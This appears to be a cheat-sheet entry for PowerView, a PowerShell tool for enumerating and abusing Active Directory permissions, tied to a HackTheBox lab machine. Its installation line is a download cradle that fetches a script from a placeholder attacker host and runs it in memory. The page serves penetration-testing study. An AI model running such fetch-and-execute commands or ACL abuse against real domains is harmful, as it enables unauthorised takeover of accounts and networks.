PowerView
AD enumeration and abuse from PowerShell.
A PowerShell script to enumerate and abuse Active Directory without leaving a domain-joined Windows host (living off the land). It queries users, groups, ACLs and trusts over LDAP, and runs actions such as changing passwords or adding SPNs.
Family Active Directory enumeration
Flags Get-DomainUser Set-DomainObject
Concepts ACL Abuse (DACL), GenericAll, GenericWrite, ForceChangePassword, WriteDACL, WriteOwner
Cheatsheet ACL / DACL abuse
Installation
# PowerView is a .ps1: upload it and load it into memory in the PowerShell session
IEX(New-Object Net.WebClient).DownloadString('http://<lhost>/PowerView.ps1')Useful commands
Appears in
Some machines where its use is documented; not an exhaustive list.
- SupportHackTheBox